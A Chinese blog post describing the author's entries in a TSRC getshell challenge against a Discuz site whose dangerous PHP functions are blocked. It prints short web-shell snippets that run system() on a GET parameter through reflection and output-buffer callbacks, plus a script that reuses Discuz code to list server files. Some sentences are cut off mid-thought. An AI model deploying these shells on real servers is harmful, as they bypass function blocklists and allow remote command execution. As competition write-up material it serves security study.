前一段时间有幸参加了由TSRC发起的一个挑战赛。目标环境运行着一个正常的discuz应用,并且存在一个上传接口,该接口允许上传任意文件, 但限制了大部分危险的PHP函数, 比如system、scandir、eval等。在服务器上放置了一个flag文件, 目标是通过上传的PHP文件找到该flag文件。 毕竟这是一场比赛,而且如果排名考前,还有丰厚的奖励。根据规则, 相同的利用方式以第一个提交的算分。正所谓先下手为强,所以在挑战刚开始后,就马上拿出自己珍藏多年的秘密武器,——PHP反射,相关内容可参考: http://cn2.php.net/manual/en/reflectionfunction.invokeargs.php。 <?php $func = new ReflectionFunction("system"); echo $func->invokeArgs(array("$_GET[c]")); ?> 上面的php代码等价于 <?php echo system($_GET[c]); ?> 首战告捷!第一个shell上传成功,并非常顺利的在目标服务器找到flag文件。顺利拿到5分。 最开始想到的就是利用各种变形,快追平孙猴子的72般变化了。变了几天以后,还是没有进展。 此时开始反思,危险函数的调用检测是如何实现的?如果在函数的实现层做检测,不管怎么变形,都会殊途同归,继续变下去是没有任何意义的。 简单利用如下: <?php $cb= 'system'; ob_start($cb); echo $_GET[c]; ob_end_flush(); ?> 上面代码等价于 <?php system($_GET[c]); ?> 这样,第二次成功绕过危险函数的检查,并成功执行命令。 php中支持callback的函数还有很多,比如 比如,@BlackYe同学就使用了支持回调的array_diff_ukey 还有xml解析相关的多个函数也支持callback,只不过传递给回调函数的第一个参数为xml解析对象, 没有合适的利用场景。 要想绕过,必须弄清楚是如何实现的(或者说要是自己实现这样的一个系统,会采用什么样的方法)。 接下来就需要通过猜想,提出假设,并逐步验证自己的想法。 1) copy.php 用于文件复制和移动; 因为上传后的文件所在目录是固定的, 所以首先猜想是否与目录有关。于是,利用先前上传的几个 PHP工具, 在已正常运行WEB应用的目录下找到可写的目录, 并将上传的PHP文件移动到该目录, 结果以失败告终。 将shell写入WEB应用已有的文件中。拿下后台, 并将shell写入到WEB应用已有的代码文件中. 结果还是失败了 对应用的代码做了一番审计,找到使用了被禁用的PHP函数的代码部分,发现功能并不受 用准备好的脚本stat.php列举了已有PHP文件和新上传PHP文件的文件权限,发现权限不同。 方法一: 利用代码如下:
<?php define('IN_DISCUZ', 1); define('IN_MODCP', 1); define('DISCUZ_ROOT', '/tmp/'); chdir('../upload/'); $_G['cache']['forums'] = 1; $_G['page'] = 1; $_GET['keyword']="xxxxxx"; $cpscript=""; function lang($in){ return $in; } function multi($in1, $in2, $in3, $in4){ return null; } function dhtmlspecialchars($in) { return $in; } include "source/include/modcp/modcp_log.php"; $dir=$_GET[dir]; $ext=$_GET[ext]; var_dump(get_log_files($dir, $ext)); ?> 执行成功,再一次拿到5分。 |
-
上一篇: 代码审计:eyou(亿邮)邮件系统两个getshell和两个有
下一篇: TSRC挑战赛: PHP场景中getshell防御思路分享 - 网站
还没有人抢沙发呢~